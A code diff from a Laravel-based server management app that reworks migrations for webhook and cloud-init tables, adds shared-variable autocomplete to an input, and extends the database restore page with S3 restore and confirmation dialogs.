View file

@ -1,36 +0,0 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
// Check if table already exists (handles upgrades from v444 where this migration
// was named 2025_10_10_120000_create_cloud_init_scripts_table.php)
if (Schema::hasTable('cloud_init_scripts')) {
return;
}
Schema::create('cloud_init_scripts', function (Blueprint $table) {
$table->id();
$table->foreignId('team_id')->constrained()->onDelete('cascade');
$table->string('name');
$table->text('script'); // Encrypted in the model
$table->timestamps();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('cloud_init_scripts');
}
};

View file

@ -1,52 +0,0 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
// Check if table already exists (handles upgrades from v444 where this migration
// was named 2025_10_10_120000_create_webhook_notification_settings_table.php)
if (Schema::hasTable('webhook_notification_settings')) {
return;
}
Schema::create('webhook_notification_settings', function (Blueprint $table) {
$table->id();
$table->foreignId('team_id')->constrained()->cascadeOnDelete();
$table->boolean('webhook_enabled')->default(false);
$table->text('webhook_url')->nullable();
$table->boolean('deployment_success_webhook_notifications')->default(false);
$table->boolean('deployment_failure_webhook_notifications')->default(true);
$table->boolean('status_change_webhook_notifications')->default(false);
$table->boolean('backup_success_webhook_notifications')->default(false);
$table->boolean('backup_failure_webhook_notifications')->default(true);
$table->boolean('scheduled_task_success_webhook_notifications')->default(false);
$table->boolean('scheduled_task_failure_webhook_notifications')->default(true);
$table->boolean('docker_cleanup_success_webhook_notifications')->default(false);
$table->boolean('docker_cleanup_failure_webhook_notifications')->default(true);
$table->boolean('server_disk_usage_webhook_notifications')->default(true);
$table->boolean('server_reachable_webhook_notifications')->default(false);
$table->boolean('server_unreachable_webhook_notifications')->default(true);
$table->boolean('server_patch_webhook_notifications')->default(false);
$table->unique(['team_id']);
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('webhook_notification_settings');
}
};

View file

@ -0,0 +1,89 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
// Create table if it doesn't exist
if (! Schema::hasTable('webhook_notification_settings')) {
Schema::create('webhook_notification_settings', function (Blueprint $table) {
$table->id();
$table->foreignId('team_id')->constrained()->cascadeOnDelete();
$table->boolean('webhook_enabled')->default(false);
$table->text('webhook_url')->nullable();
$table->boolean('deployment_success_webhook_notifications')->default(false);
$table->boolean('deployment_failure_webhook_notifications')->default(true);
$table->boolean('status_change_webhook_notifications')->default(false);
$table->boolean('backup_success_webhook_notifications')->default(false);
$table->boolean('backup_failure_webhook_notifications')->default(true);
$table->boolean('scheduled_task_success_webhook_notifications')->default(false);
$table->boolean('scheduled_task_failure_webhook_notifications')->default(true);
$table->boolean('docker_cleanup_success_webhook_notifications')->default(false);
$table->boolean('docker_cleanup_failure_webhook_notifications')->default(true);
$table->boolean('server_disk_usage_webhook_notifications')->default(true);
$table->boolean('server_reachable_webhook_notifications')->default(false);
$table->boolean('server_unreachable_webhook_notifications')->default(true);
$table->boolean('server_patch_webhook_notifications')->default(false);
$table->boolean('traefik_outdated_webhook_notifications')->default(true);
$table->unique(['team_id']);
});
}
// Populate webhook notification settings for existing teams (only if they don't already have settings)
DB::table('teams')->chunkById(100, function ($teams) {
foreach ($teams as $team) {
try {
// Check if settings already exist for this team
$exists = DB::table('webhook_notification_settings')
->where('team_id', $team->id)
->exists();
if (! $exists) {
// Only insert if no settings exist - don't overwrite existing preferences
DB::table('webhook_notification_settings')->insert([
'team_id' => $team->id,
'webhook_enabled' => false,
'webhook_url' => null,
'deployment_success_webhook_notifications' => false,
'deployment_failure_webhook_notifications' => true,
'status_change_webhook_notifications' => false,
'backup_success_webhook_notifications' => false,
'backup_failure_webhook_notifications' => true,
'scheduled_task_success_webhook_notifications' => false,
'scheduled_task_failure_webhook_notifications' => true,
'docker_cleanup_success_webhook_notifications' => false,
'docker_cleanup_failure_webhook_notifications' => true,
'server_disk_usage_webhook_notifications' => true,
'server_reachable_webhook_notifications' => false,
'server_unreachable_webhook_notifications' => true,
'server_patch_webhook_notifications' => false,
'traefik_outdated_webhook_notifications' => true,
]);
}
} catch (\Throwable $e) {
Log::error('Error creating webhook notification settings for team '.$team->id.': '.$e->getMessage());
}
}
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('webhook_notification_settings');
}
};

View file

@ -0,0 +1,33 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
// Create table if it doesn't exist
if (! Schema::hasTable('cloud_init_scripts')) {
Schema::create('cloud_init_scripts', function (Blueprint $table) {
$table->id();
$table->foreignId('team_id')->constrained()->cascadeOnDelete();
$table->string('name');
$table->text('script'); // Encrypted in the model
$table->timestamps();
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('cloud_init_scripts');
}
};

View file

@ -0,0 +1,268 @@
<div class="w-full">
@if ($label)
<label class="flex gap-1 items-center mb-1 text-sm font-medium">{{ $label }}
@if ($required)
<x-highlighted text="*" />
@endif
@if ($helper)
<x-helper :helper="$helper" />
@endif
</label>
@endif
<div x-data="{
showDropdown: false,
suggestions: [],
selectedIndex: 0,
cursorPosition: 0,
currentScope: null,
availableScopes: ['team', 'project', 'environment'],
availableVars: @js($availableVars),
scopeUrls: @js($scopeUrls),
isAutocompleteDisabled() {
const hasAnyVars = Object.values(this.availableVars).some(vars => vars.length > 0);
return !hasAnyVars;
},
handleInput() {
const input = this.$refs.input;
if (!input) return;
const value = input.value || '';
if (this.isAutocompleteDisabled()) {
this.showDropdown = false;
return;
}
this.cursorPosition = input.selectionStart || 0;
const textBeforeCursor = value.substring(0, this.cursorPosition);
const openBraces = '{' + '{';
const lastBraceIndex = textBeforeCursor.lastIndexOf(openBraces);
if (lastBraceIndex === -1) {
this.showDropdown = false;
return;
}
if (lastBraceIndex > 0 && textBeforeCursor[lastBraceIndex - 1] === '{') {
this.showDropdown = false;
return;
}
const textAfterBrace = textBeforeCursor.substring(lastBraceIndex);
const closeBraces = '}' + '}';
if (textAfterBrace.includes(closeBraces)) {
this.showDropdown = false;
return;
}
const content = textAfterBrace.substring(2).trim();
if (content === '') {
this.currentScope = null;
this.suggestions = this.availableScopes.map(scope => ({
type: 'scope',
value: scope,
display: scope
}));
this.selectedIndex = 0;
this.showDropdown = true;
} else if (content.includes('.')) {
const [scope, partial] = content.split('.');
if (!this.availableScopes.includes(scope)) {
this.showDropdown = false;
return;
}
this.currentScope = scope;
const scopeVars = this.availableVars[scope] || [];
const filtered = scopeVars.filter(v =>
v.toLowerCase().includes((partial || '').toLowerCase())
);
if (filtered.length === 0 && scopeVars.length === 0) {
this.suggestions = [];
this.showDropdown = true;
} else {
this.suggestions = filtered.map(varName => ({
type: 'variable',
value: varName,
display: `${scope}.${varName}`,
scope: scope
}));
this.selectedIndex = 0;
this.showDropdown = filtered.length > 0;
}
} else {
this.currentScope = null;
const filtered = this.availableScopes.filter(scope =>
scope.toLowerCase().includes(content.toLowerCase())
);
this.suggestions = filtered.map(scope => ({
type: 'scope',
value: scope,
display: scope
}));
this.selectedIndex = 0;
this.showDropdown = filtered.length > 0;
}
},
getScopeUrl(scope) {
return this.scopeUrls[scope] || this.scopeUrls['default'];
},
selectSuggestion(suggestion) {
const input = this.$refs.input;
if (!input) return;
const value = input.value || '';
const textBeforeCursor = value.substring(0, this.cursorPosition);
const textAfterCursor = value.substring(this.cursorPosition);
const openBraces = '{' + '{';
const lastBraceIndex = textBeforeCursor.lastIndexOf(openBraces);
if (suggestion.type === 'scope') {
const newText = value.substring(0, lastBraceIndex) +
openBraces + ' ' + suggestion.value + '.' +
textAfterCursor;
input.value = newText;
this.cursorPosition = lastBraceIndex + 3 + suggestion.value.length + 1;
this.$nextTick(() => {
input.setSelectionRange(this.cursorPosition, this.cursorPosition);
input.focus();
this.handleInput();
});
} else {
const closeBraces = '}' + '}';
const newText = value.substring(0, lastBraceIndex) +
openBraces + ' ' + suggestion.display + ' ' + closeBraces +
textAfterCursor;
input.value = newText;
this.cursorPosition = lastBraceIndex + 3 + suggestion.display.length + 3;
input.dispatchEvent(new Event('input'));
this.showDropdown = false;
this.selectedIndex = 0;
this.$nextTick(() => {
input.setSelectionRange(this.cursorPosition, this.cursorPosition);
input.focus();
});
}
},
handleKeydown(event) {
if (!this.showDropdown) return;
if (!this.suggestions || this.suggestions.length === 0) return;
if (event.key === 'ArrowDown') {
event.preventDefault();
this.selectedIndex = (this.selectedIndex + 1) % this.suggestions.length;
this.$nextTick(() => {
const el = document.getElementById('suggestion-' + this.selectedIndex);
if (el) {
el.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}
});
} else if (event.key === 'ArrowUp') {
event.preventDefault();
this.selectedIndex = this.selectedIndex <= 0 ? this.suggestions.length - 1 : this.selectedIndex - 1;
this.$nextTick(() => {
const el = document.getElementById('suggestion-' + this.selectedIndex);
if (el) {
el.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}
});
} else if (event.key === 'Enter' && this.showDropdown) {
event.preventDefault();
if (this.suggestions[this.selectedIndex]) {
this.selectSuggestion(this.suggestions[this.selectedIndex]);
}
} else if (event.key === 'Escape') {
this.showDropdown = false;
}
}
}"
@click.outside="showDropdown = false"
class="relative">
<input
x-ref="input"
@input="handleInput()"
@keydown="handleKeydown($event)"
@click="handleInput()"
autocomplete="{{ $autocomplete }}"
{{ $attributes->merge(['class' => $defaultClass]) }}
@required($required)
@readonly($readonly)
@if ($modelBinding !== 'null')
wire:model="{{ $modelBinding }}"
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
@endif
wire:loading.attr="disabled"
type="{{ $type }}"
@disabled($disabled)
@if ($htmlId !== 'null') id="{{ $htmlId }}" @endif
name="{{ $name }}"
placeholder="{{ $attributes->get('placeholder') }}"
@if ($autofocus) autofocus @endif>
{{-- Dropdown for suggestions --}}
<div x-show="showDropdown"
x-transition
class="absolute z-[60] w-full mt-1 bg-white dark:bg-coolgray-100 border border-neutral-300 dark:border-coolgray-400 rounded shadow-lg">
<template x-if="suggestions.length === 0 && currentScope">
<div class="px-3 py-2 text-sm text-neutral-500 dark:text-neutral-400">
<div>No shared variables found in <span class="font-semibold" x-text="currentScope"></span> scope.</div>
<a :href="getScopeUrl(currentScope)"
class="text-coollabs dark:text-warning hover:underline text-xs mt-1 inline-block"
target="_blank">
Add <span x-text="currentScope"></span> variables
</a>
</div>
</template>
<div x-show="suggestions.length > 0"
x-ref="dropdownList"
class="max-h-48 overflow-y-scroll"
style="scrollbar-width: thin;">
<template x-for="(suggestion, index) in suggestions" :key="index">
<div :id="'suggestion-' + index"
@click="selectSuggestion(suggestion)"
class="px-3 py-2 cursor-pointer hover:bg-neutral-100 dark:hover:bg-coolgray-200 flex items-center gap-2"
:class="{ 'bg-neutral-50 dark:bg-coolgray-300': index === selectedIndex }">
<template x-if="suggestion.type === 'scope'">
<span class="text-xs px-2 py-0.5 bg-coollabs/10 dark:bg-warning/10 text-coollabs dark:text-warning rounded">
SCOPE
</span>
</template>
<template x-if="suggestion.type === 'variable'">
<span class="text-xs px-2 py-0.5 bg-green-500/10 text-green-600 dark:text-green-400 rounded">
VAR
</span>
</template>
<span class="text-sm font-mono" x-text="suggestion.display"></span>
</div>
</template>
</div>
</div>
</div>
@if (!$label && $helper)
<x-helper :helper="$helper" />
@endif
@error($modelBinding)
<label class="label">
<span class="text-red-500 label-text-alt">{{ $message }}</span>
</label>
@enderror
</div>

View file

@ -68,22 +68,21 @@ class="flex flex-col gap-4">
</span>
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}
@if (data_get($execution, 'status') !== 'running')
<br>Ended:
{{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}
<br>Duration:
{{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }}
<br>Finished {{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
@if (data_get($execution, 'status') === 'running')
<span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}">
Running for {{ calculateDuration(data_get($execution, 'created_at'), now()) }}
</span>
@else
<span title="Started: {{ formatDateInServerTimezone(data_get($execution, 'created_at'), $this->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($execution, 'finished_at'), $this->server()) }}">
{{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->diffForHumans() }}
({{ calculateDuration(data_get($execution, 'created_at'), data_get($execution, 'finished_at')) }})
{{ \Carbon\Carbon::parse(data_get($execution, 'finished_at'))->format('M j, H:i') }}
</span>
@endif
Database: {{ data_get($execution, 'database_name', 'N/A') }}
@if(data_get($execution, 'size'))
Size: {{ formatBytes(data_get($execution, 'size')) }}
@endif
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
Database: {{ data_get($execution, 'database_name', 'N/A') }}
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
Size: {{ data_get($execution, 'size') }} B /
{{ round((int) data_get($execution, 'size') / 1024, 2) }} kB /
{{ round((int) data_get($execution, 'size') / 1024 / 1024, 3) }} MB
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
Location: {{ data_get($execution, 'filename', 'N/A') }}

View file

@ -1,54 +1,65 @@
<div x-data="{ error: $wire.entangle('error'), filesize: $wire.entangle('filesize'), filename: $wire.entangle('filename'), isUploading: $wire.entangle('isUploading'), progress: $wire.entangle('progress') }">
<div x-data="{
error: $wire.entangle('error'),
filesize: $wire.entangle('filesize'),
filename: $wire.entangle('filename'),
isUploading: $wire.entangle('isUploading'),
progress: $wire.entangle('progress'),
s3FileSize: $wire.entangle('s3FileSize'),
s3StorageId: $wire.entangle('s3StorageId'),
s3Path: $wire.entangle('s3Path'),
restoreType: null
}">
<script type="text/javascript" src="{{ URL::asset('js/dropzone.js') }}"></script>
@script
<script data-navigate-once>
Dropzone.options.myDropzone = {
chunking: true,
method: "POST",
maxFilesize: 1000000000,
chunkSize: 10000000,
createImageThumbnails: false,
disablePreviews: true,
parallelChunkUploads: false,
init: function() {
let button = this.element.querySelector('button');
button.innerText = 'Select or drop a backup file here.'
this.on('sending', function(file, xhr, formData) {
const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
formData.append("_token", token);
});
this.on("addedfile", file => {
$wire.isUploading = true;
});
this.on('uploadprogress', function(file, progress, bytesSent) {
$wire.progress = progress;
});
this.on('complete', function(file) {
$wire.filename = file.name;
$wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
$wire.isUploading = false;
});
this.on('error', function(file, message) {
$wire.error = true;
$wire.$dispatch('error', message.error)
});
}
};
</script>
<script data-navigate-once>
Dropzone.options.myDropzone = {
chunking: true,
method: "POST",
maxFilesize: 1000000000,
chunkSize: 10000000,
createImageThumbnails: false,
disablePreviews: true,
parallelChunkUploads: false,
init: function () {
let button = this.element.querySelector('button');
button.innerText = 'Select or drop a backup file here.'
this.on('sending', function (file, xhr, formData) {
const token = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
formData.append("_token", token);
});
this.on("addedfile", file => {
$wire.isUploading = true;
$wire.customLocation = '';
});
this.on('uploadprogress', function (file, progress, bytesSent) {
$wire.progress = progress;
});
this.on('complete', function (file) {
$wire.filename = file.name;
$wire.filesize = Number(file.size / 1024 / 1024).toFixed(2) + ' MB';
$wire.isUploading = false;
});
this.on('error', function (file, message) {
$wire.error = true;
$wire.$dispatch('error', message.error)
});
}
};
</script>
@endscript
<h2>Import Backup</h2>
@if ($unsupported)
<div>Database restore is not supported.</div>
@else
<div class="pt-2 rounded-sm alert-error">
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none"
viewBox="0 0 24 24">
<svg xmlns="http://www.w3.org/2000/svg" class="w-6 h-6 stroke-current shrink-0" fill="none" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
</svg>
<span>This is a destructive action, existing data will be replaced!</span>
</div>
@if (str(data_get($resource, 'status'))->startsWith('running'))
{{-- Restore Command Configuration --}}
@if ($resource->type() === 'standalone-postgresql')
@if ($dumpAll)
<x-forms.textarea rows="6" readonly label="Custom Import Command"
@ -62,8 +73,7 @@
</div>
@endif
<div class="w-64 pt-2">
<x-forms.checkbox label="Backup includes all databases"
wire:model.live='dumpAll'></x-forms.checkbox>
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
</div>
@elseif ($resource->type() === 'standalone-mysql')
@if ($dumpAll)
@ -73,8 +83,7 @@
<x-forms.input label="Custom Import Command" wire:model='mysqlRestoreCommand'></x-forms.input>
@endif
<div class="w-64 pt-2">
<x-forms.checkbox label="Backup includes all databases"
wire:model.live='dumpAll'></x-forms.checkbox>
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
</div>
@elseif ($resource->type() === 'standalone-mariadb')
@if ($dumpAll)
@ -84,35 +93,143 @@
<x-forms.input label="Custom Import Command" wire:model='mariadbRestoreCommand'></x-forms.input>
@endif
<div class="w-64 pt-2">
<x-forms.checkbox label="Backup includes all databases"
wire:model.live='dumpAll'></x-forms.checkbox>
<x-forms.checkbox label="Backup includes all databases" wire:model.live='dumpAll'></x-forms.checkbox>
</div>
@endif
<h3 class="pt-6">Backup File</h3>
<form class="flex gap-2 items-end">
<x-forms.input label="Location of the backup file on the server"
placeholder="e.g. /home/user/backup.sql.gz" wire:model='customLocation'></x-forms.input>
<x-forms.button class="w-full" wire:click='checkFile'>Check File</x-forms.button>
</form>
<div class="pt-2 text-center text-xl font-bold">
Or
</div>
<form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
@csrf
</form>
<div x-show="isUploading">
<progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
</div>
<h3 class="pt-6" x-show="filename && !error">File Information</h3>
<div x-show="filename && !error">
<div>Location: <span x-text="filename ?? 'N/A'"></span> <span x-text="filesize">/ </span></div>
<x-forms.button class="w-full my-4" wire:click='runImport'>Restore Backup</x-forms.button>
</div>
<div class="container w-full mx-auto" x-show="$wire.importRunning">
<livewire:activity-monitor header="Database Restore Output" :showWaiting="false" />
{{-- Restore Type Selection Boxes --}}
<h3 class="pt-6">Choose Restore Method</h3>
<div class="flex gap-4 pt-2">
<div @click="restoreType = 'file'"
class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
:class="restoreType === 'file' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
<div class="flex flex-col gap-2">
<svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12" />
</svg>
<h4 class="text-lg font-bold">Restore from File</h4>
<p class="text-sm text-neutral-600 dark:text-neutral-400">Upload a backup file or specify a file path on the server</p>
</div>
</div>
@if ($availableS3Storages->count() > 0)
<div @click="restoreType = 's3'"
class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
:class="restoreType === 's3' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
<div class="flex flex-col gap-2">
<svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 15a4 4 0 004 4h9a5 5 0 10-.1-9.999 5.002 5.002 0 10-9.78 2.096A4.001 4.001 0 003 15z" />
</svg>
<h4 class="text-lg font-bold">Restore from S3</h4>
<p class="text-sm text-neutral-600 dark:text-neutral-400">Download and restore a backup from S3 storage</p>
</div>
</div>
@endif
</div>
{{-- File Restore Section --}}
@can('update', $resource)
<div x-show="restoreType === 'file'" class="pt-6">
<h3>Backup File</h3>
<form class="flex gap-2 items-end pt-2">
<x-forms.input label="Location of the backup file on the server" placeholder="e.g. /home/user/backup.sql.gz"
wire:model='customLocation' x-model="$wire.customLocation"></x-forms.input>
<x-forms.button class="w-full" wire:click='checkFile' x-bind:disabled="!$wire.customLocation">Check File</x-forms.button>
</form>
<div class="pt-2 text-center text-xl font-bold">
Or
</div>
<form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
@csrf
</form>
<div x-show="isUploading">
<progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
</div>
<div x-show="filename && !error" class="pt-6">
<h3>File Information</h3>
<div class="pt-2">Location: <span x-text="filename ?? 'N/A'"></span><span x-show="filesize" x-text="' / ' + filesize"></span></div>
<div class="pt-2">
<x-modal-confirmation title="Restore Database from File?" buttonTitle="Restore from File"
submitAction="runImport" isErrorButton>
<x-slot:button-title>
Restore Database from File
</x-slot:button-title>
This will perform the following actions:
<ul class="list-disc list-inside pt-2">
<li>Copy backup file to database container</li>
<li>Execute restore command</li>
</ul>
<div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
</x-modal-confirmation>
</div>
</div>
</div>
@endcan
{{-- S3 Restore Section --}}
@if ($availableS3Storages->count() > 0)
@can('update', $resource)
<div x-show="restoreType === 's3'" class="pt-6">
<h3>Restore from S3</h3>
<div class="flex flex-col gap-2 pt-2">
<x-forms.select label="S3 Storage" wire:model.live="s3StorageId">
<option value="">Select S3 Storage</option>
@foreach ($availableS3Storages as $storage)
<option value="{{ $storage->id }}">{{ $storage->name }}
@if ($storage->description)
- {{ $storage->description }}
@endif
</option>
@endforeach
</x-forms.select>
<x-forms.input label="S3 File Path (within bucket)"
helper="Path to the backup file in your S3 bucket, e.g., /backups/database-2025-01-15.gz"
placeholder="/backups/database-backup.gz" wire:model.blur='s3Path'
wire:keydown.enter='checkS3File'></x-forms.input>
<div class="flex gap-2">
<x-forms.button class="w-full" wire:click='checkS3File' x-bind:disabled="!s3StorageId || !s3Path">
Check File
</x-forms.button>
</div>
@if ($s3FileSize)
<div class="pt-6">
<h3>File Information</h3>
<div class="pt-2">Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}</div>
<div class="pt-2">
<x-modal-confirmation title="Restore Database from S3?" buttonTitle="Restore from S3"
submitAction="restoreFromS3" isErrorButton>
<x-slot:button-title>
Restore Database from S3
</x-slot:button-title>
This will perform the following actions:
<ul class="list-disc list-inside pt-2">
<li>Download backup from S3 storage</li>
<li>Copy file into database container</li>
<li>Execute restore command</li>
</ul>
<div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
</x-modal-confirmation>
</div>
</div>
@endif
</div>
</div>
@endcan
@endif
{{-- Slide-over for activity monitor (all restore operations) --}}
<x-slide-over @databaserestore.window="slideOverOpen = true" closeWithX fullScreen>
<x-slot:title>Database Restore Output</x-slot:title>
<x-slot:content>
<livewire:activity-monitor wire:key="database-restore-{{ $resource->uuid }}" header="Logs" fullHeight />
</x-slot:content>
</x-slide-over>
@else
<div>Database must be running to restore a backup.</div>
@endif
@endif
</div>
</div>

View file

@ -70,32 +70,32 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
@if ($backup->latest_log)
Started:
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
@if (data_get($backup->latest_log, 'status') !== 'running')
<br>Ended:
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
<br>Duration:
{{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
<br>Finished
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
@endif
@if ($backup->save_s3)
<br>S3 Storage: Enabled
@if (data_get($backup->latest_log, 'status') === 'running')
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
</span>
@else
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
</span>
@endif
@if (data_get($backup->latest_log, 'status') === 'success')
@php
$size = data_get($backup->latest_log, 'size', 0);
$sizeFormatted =
$size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
@endphp
<br>Last Backup Size: {{ $sizeFormatted }}
@if ($size > 0)
Size: {{ formatBytes($size) }}
@endif
@endif
@if ($backup->save_s3)
S3: Enabled
@endif
@else
Last Run: Never
<br>Total Executions: 0
Last Run: Never Total Executions: 0
@if ($backup->save_s3)
<br>S3 Storage: Enabled
S3: Enabled
@endif
@endif
</div>
@ -154,27 +154,36 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
</div>
<div class="text-gray-600 dark:text-gray-400 text-sm">
@if ($backup->latest_log)
Started:
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
@if (data_get($backup->latest_log, 'status') !== 'running')
<br>Ended:
{{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
<br>Duration:
{{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
<br>Finished
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
@if (data_get($backup->latest_log, 'status') === 'running')
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
</span>
@else
<span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
{{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
</span>
@endif
@if (data_get($backup->latest_log, 'status') === 'success')
@php
$size = data_get($backup->latest_log, 'size', 0);
@endphp
@if ($size > 0)
Size: {{ formatBytes($size) }}
@endif
@endif
<br><br>Total Executions: {{ $backup->executions()->count() }}
@if ($backup->save_s3)
<br>S3 Storage: Enabled
S3: Enabled
@endif
<br>Total Executions: {{ $backup->executions()->count() }}
@php
$successCount = $backup->executions()->where('status', 'success')->count();
$totalCount = $backup->executions()->count();
$successRate = $totalCount > 0 ? round(($successCount / $totalCount) * 100) : 0;
@endphp
@if ($totalCount > 0)
<br>Success Rate: <span @class([
Success Rate: <span @class([
'font-medium',
'text-green-600' => $successRate >= 80,
'text-yellow-600' => $successRate >= 50 && $successRate < 80,
@ -182,19 +191,10 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
])>{{ $successRate }}%</span>
({{ $successCount }}/{{ $totalCount }})
@endif
@if (data_get($backup->latest_log, 'status') === 'success')
@php
$size = data_get($backup->latest_log, 'size', 0);
$sizeFormatted =
$size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
@endphp
<br>Last Backup Size: {{ $sizeFormatted }}
@endif
@else
Last Run: Never
<br>Total Executions: 0
Last Run: Never Total Executions: 0
@if ($backup->save_s3)
<br>S3 Storage: Enabled
S3: Enabled
@endif
@endif
</div>

View file

@ -1,8 +1,20 @@
<form class="flex flex-col w-full gap-2 rounded-sm" wire:submit='submit'>
<x-forms.input placeholder="NODE_ENV" id="key" label="Name" required />
<x-forms.textarea x-show="$wire.is_multiline === true" x-cloak id="value" label="Value" required />
<x-forms.input x-show="$wire.is_multiline === false" x-cloak placeholder="production" id="value"
x-bind:label="$wire.is_multiline === false && 'Value'" required />
@if ($is_multiline)
<x-forms.textarea id="value" label="Value" required />
@else
<x-forms.env-var-input placeholder="production" id="value" label="Value" required
:availableVars="$shared ? [] : $this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
:environmentUuid="data_get($parameters, 'environment_uuid')" />
@endif
@if (!$shared && !$is_multiline)
<div class="text-xs text-neutral-500 dark:text-neutral-400 -mt-1">
Tip: Type <span class="font-mono dark:text-warning text-coollabs">{{</span> to reference a shared environment
variable
</div>
@endif
@if (!$shared)
